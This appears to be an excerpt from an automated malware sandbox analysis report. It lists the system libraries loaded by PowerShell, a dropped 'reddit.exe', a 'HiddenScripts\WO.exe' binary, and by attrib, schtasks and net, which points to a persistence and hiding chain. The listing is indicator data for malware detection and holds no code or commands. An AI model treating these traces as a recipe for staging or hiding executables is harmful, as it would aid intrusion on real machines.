Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\reddit.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\reddit.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\reddit.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HiddenScripts\WO.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\reddit.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\reddit.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\reddit.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\reddit.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
